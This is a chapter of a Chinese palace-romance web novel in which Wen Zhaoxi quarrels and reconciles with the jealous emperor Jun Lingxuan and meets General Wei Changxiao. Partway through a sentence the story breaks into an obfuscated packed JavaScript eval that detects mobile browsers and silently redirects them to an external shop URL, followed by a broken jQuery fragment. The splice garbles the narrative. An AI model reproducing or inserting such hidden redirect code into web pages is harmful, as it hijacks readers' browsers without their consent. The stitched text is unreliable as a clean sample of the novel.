闻朝溪连跟太后道别都不记得,直愣愣往殿外冲,一出门才发现这重楼叠宇、七万八绕的皇宫她根本认不得路,君凌轩这会儿藏在哪个宫殿她又不知道,这要怎么找?
“桂嬷嬷,带清妃去勤政殿。”太后以为清妃总算把她苦口婆心的劝告听进去了,急着去游说君凌轩呢!
闻朝溪在门口一看到君凌轩端坐的身影就火大,也不顾堂下还站着议事的大臣,一个猛扑过去将君凌轩死死压在身下:“你说让我做好妻子的本分,饭也陪你吃了,觉也陪你睡了,你为何还这么不讲义气要派人去南县告诉王清和我暴露身份……”
君凌轩赶紧起身捂住她的嘴,这事儿要是被大臣们听见,讨伐他这个皇帝事小,将闻朝溪逼走就完蛋了!他牵肠挂肚这么久,好不容易失而复得,他才舍不得放人走呢!
“嘘嘘,有外人在呢!”
闻朝溪这才扭头注意到殿中还站着三个“外人”,个个面面相觑,以袖遮眼,不便侧目宠妃跨坐在陛下大腿之上的暧昧场面。
“众卿暂且先退下,此事容后再议。”那几位大臣如遇大赦般争先恐后逃离这是非之地。
人走后君凌轩脸色一沉,将闻朝溪从腿上推了下去:“朕派人去南县是有其他正事要办,没告发你。”
其实他刻意派人去监视王清和,一方面调查百须草被销往何处,一方面保护闻家父母安全。
闻朝溪这才明白误会了君凌轩,脸颊发烫,唇角不自觉僵了僵,眼神躲闪着不敢看他,正起身欲走,却被身后响起的声音吓得一愣:“可若是你还是不懂如何尽到为人妻的本分,朕自然是要命王清和将她女儿换回来……”
闻朝溪气鼓鼓地凑到他跟前:“王清和那女儿已怀上其他男人孩子,陛下就别想着人家了,哼!”
君凌轩轻蔑嗤笑,难怪要大费周章搞这一出,这王清和可真是胆大!
他摆出一副欠揍的模样有心逗她:“那又如何,朕不嫌弃。”
闻朝溪气得咬牙切齿,好你个君凌轩,那些传言果然没错,你当真风流好色!
君凌轩目色微滞,牵起她裙摆:“这里怎么破了一块儿?找人换一件,别丢了皇室脸面!”
闻朝溪咬着唇从他掌中抽走缺了一块儿的下衣,她也忘了是何时扯坏的。这人当了皇帝后规矩可真多!可她如今有把柄握在他手上,有气也不敢发作,只好跺着脚悻悻离去,全然不记得太后交待之事。
她换好衣衫后心绪不宁,不知不觉又走到了御花园。
“嫂嫂!身体好些了吗?”琳琅仍旧在此处作画,一看见闻朝溪便欣喜地推着轮椅扑了上来。
她勉强从嘴角挤出个笑来,耷拉着个脑袋无精打采的模样。
“嫂嫂你这是怎么了?在宫里待得不开心?有什么困扰可以跟我说啊,我好歹从小在宫中长大,不管是规矩还是人情世故多少都懂些!”
“那你懂什么是为人妻的本分吗?”
琳琅差点从轮椅上跌下来,这新嫂嫂怎么连闺中之事都毫不顾忌往外说啊!莫非是真的一窍不通?皇兄与她还未曾圆房?
“咳咳……”她瞅了瞅闻朝溪迷茫的神情,不得已开始授课,“皇兄说这话的意思呢,其实很简单,她想你跟他别那么见外,做些让他心情愉悦之事,他自然就满足了。”
“讨好他?”
琳琅扶额长叹,这嫂嫂出落得跟个仙女一般,怎么这理解能力就这么差呢!
“对吗对吗?”闻朝溪抱着琳琅双肩轻摇,眸中闪耀着抓住最后希望的光芒。
琳琅被她晃得头晕,无奈地点了点头:“算是吧……”
闻言她脚步轻快地蹦蹦跳跳往回跑,嘴里还不停碎碎念:“原来这么简单啊!这君凌轩话也不说明白,害我思前想后,真是可恶!”
琳琅:皇兄,我是帮不了你了……
一回到勤政殿,就看见堂下恭敬站着一人,身材修长站得笔挺,正与君凌轩商讨政事。
想起琳琅说要讨他开心,他才会帮我守住秘密,闻朝溪便决定不打扰他议事,小心翼翼地将迈入大殿门槛的一只脚收回,本以为动作已极轻,却还是被里面的人发现了。
“谁!”堂下之人大喝一声,一个侧目,视线直朝她逼来。
闻朝溪难为情地挡脸欲逃,却被熟悉的男声叫住:“溪溪?是你吗?”
她这才透过指缝,远远一望,还真是卫长骁!
老友重聚她心中荡起层层欢愉,本欲后退的脚步转了个大弯,朝着卫长骁的方向飞奔:“卫将军,你怎么在这?”
溪溪?叫得这么亲热,朕跟她都还没取昵称呢!
君凌轩眼睁睁看着闻朝溪对着另一个男人笑得嘴角咧到耳根,醋坛子打得稀碎,腮帮子都咬疼了。
“卫将军跟朕的爱妃还有旧识?”君凌轩从牙缝里挤出这几个字,尽力掩饰着语气中的阴阳怪气。
闻朝溪对他人的情绪向来敏感,察觉出上座之人言语中透露的那一丝不悦和疑心,赶紧摆手否认:“算不上旧识,只不过卫将军救过我一命,对吧?”她回头朝卫长骁拼命眨眼。
卫长骁本就是个聪明人,除了在感情之事上缺根筋外,无论在朝堂还是战场他都游刃有余。
他当即便读懂了闻朝溪话里话外的避嫌之意,从容回应道:“当日臣奉召带兵进京述职,路遇清妃娘娘被匪徒劫持,便顺手相救。”
“匪徒劫持?怎么朕从未听闻!”君凌轩双手拍在案头猝然站起身来,“可有受伤?”
他明知闻朝溪即使当天受了再重的伤,这几日太医也新病旧疾一块儿治好了,但他仍旧胆寒。
为何当日一气之下甩手就走,让她一个女子孤身一人入京,还被其他男人给救了!
“当时虽差点丢了小命,还好神兵天降,将那帮土匪打得屁滚尿流!”闻朝溪顺着肩头仰视着卫长骁,在君凌轩眼中,她眸光充满了不肯熄灭的崇敬和爱意。
他又妒又悔,只想分开贴身站着的二人:“卫长青,还不进来接你兄长去叙旧!”
卫长青在殿外听得战战兢兢,生怕君凌轩为了这在南县之时就痴心暗许的“灵渠”,暴怒之下砍了他哥……
闻朝溪细细打量了一番这位刚进门的贴身侍卫,又盯着卫长骁移不开眼,对比了半晌才恍然大悟,嘴张得老大,扯着卫长青不撒手:“你……你就是当日竹林里的黑衣人!”
难怪河边初见卫长骁时总觉得眼熟,原来他俩是兄弟啊!
“闻朝溪,你最好别太过分!”她抓在卫长青衣袖上的手背被另一人惨白如霜的指节死死攥住,略一抬头便对上君凌轩腥红的眼底。
她知道这回他是真生气了,自从水中救起他那日,还没见过他这般压抑着暴怒的神情。
她幽幽松了手,卫长青拉起兄长就一路狂奔逃离这快要着火爆炸的现场。
闻朝溪想挣开君凌轩的手,但他却不知哪儿来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968681|214610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这么大力气,天生神力如闻朝溪都有些费劲。
男人目光半分未移,紧紧锁着闻朝溪,看得她发毛。
既然要讨好就不好用蛮力摆脱束缚,闻朝溪学着星儿在忘忧斋桌下用的那招,顺势搂住君凌轩手臂,将他往桌案拉:“来来来,喝口茶消消火气。”
闻朝溪单手倒了杯热茶递到君凌轩嘴边,赔着笑喂他:“乖,张嘴……”她察觉他握着她的掌心猛的一收,捏得更紧了,嘴唇却死死抿着不肯张开半寸。
闻朝溪虽能从面色看出他恼怒,却不知他为何如此生气?刚才不是已经解释过与卫长骁并无私交,他就不可能由此怀疑她之前失踪去过卫府吧?也不该生出当日是卫长骁绑架了她用来威胁圣上这样的荒唐想法才对!
那他究竟在气什么?
看着他毫不领情的死心模样,闻朝溪真想用这杯水泼他一脸,但脑海中却回响起琳琅的话:讨好他……讨好他……
闻朝溪深吸了口气,艰难挤出一抹僵硬假笑,谄媚道:“陛下,喝下这杯水,消消气吧。”
“不喝,我怎知你有没有给我下毒。”君凌轩气得发昏,都不知道自己正说些什么胡言乱语。
闻朝溪头一仰便一饮而尽:“你看,我自己都喝了,没毒吧……”她又将茶杯掺满,送到他嘴边,轻言细语哄他,“现在能喝了吧?”
君凌轩白了她一眼,重振以前当胖子时的尖酸刻薄:“刚才那杯是没毒,我怎知这杯……”
话音未落,就见闻朝溪又饮一杯,还没反应过来唇就被她狠狠堵住,没留丝毫缝隙,将嘴里茶水一滴不漏渡进他口中,丝丝香甜如蜜般弥漫、绽放……
她心中愤愤,喝个茶哪那么多废话,老娘才懒得在这跟你推来挡去,今日这杯就是鹤顶红你也得给老娘喝个干净!
咦?他咋还闭眼了呢?不会真晕了吧?
闻朝溪猛地松口:“喂,你没事吧?”
君凌轩却一副意犹未尽地舔了舔嘴唇,难道是这茶太好喝了?可惜我一个乡下来的不会品茶。
“谁教你这些的?”他眼中腥红早已褪去,唯余一缕柔软缓缓流淌。
她小嘴一撅,得意道:“琳琅啊!”
君凌轩急得脸颊上的肌肉都在微微颤抖:“你怎能跟琳琅说这些事!她只有四岁孩童的心智啊!”
闻朝溪双眼瞪得溜圆,难以置信地瞄着君凌轩:“怎么会?她虽腿脚不便,但看起来少说也十几岁了吧?”
不过她有时候说话和打扮是有些幼稚……
君凌轩眸子低垂,眼里染上一缕少见的悲凉:“在琳琅四岁那年一个冬日雪夜,那时候皇祖父猝然驾崩,宫中乱成一团,琳琅贪玩,趁服侍的宫女太监不注意,爬上了御花园的假山,不小心跌了下来,不单摔坏了腿再也无法站立行走,就连自己是谁都想不起来,从此她的心智便一直停留在那个雪夜,永远像个小孩似的……”
是吗?可她跟我单独待在一起时看起来挺正常的啊……
“对了,小团子呢?你是不是给卫长骁了?”君凌轩冷不丁提起此事,闻朝溪心里不自觉咯噔了一下。
“你怎么会知道?”他不会真派人十二个时辰跟踪我吧?
君凌轩眸底轻翻,砸了砸嘴:“你不送救命恩人难不成留给王清和那奸佞?”
原来是猜的啊!
“从井中消失那晚,你是不是去见过小团子,发梢的药便是卫长骁帮你抹上的?”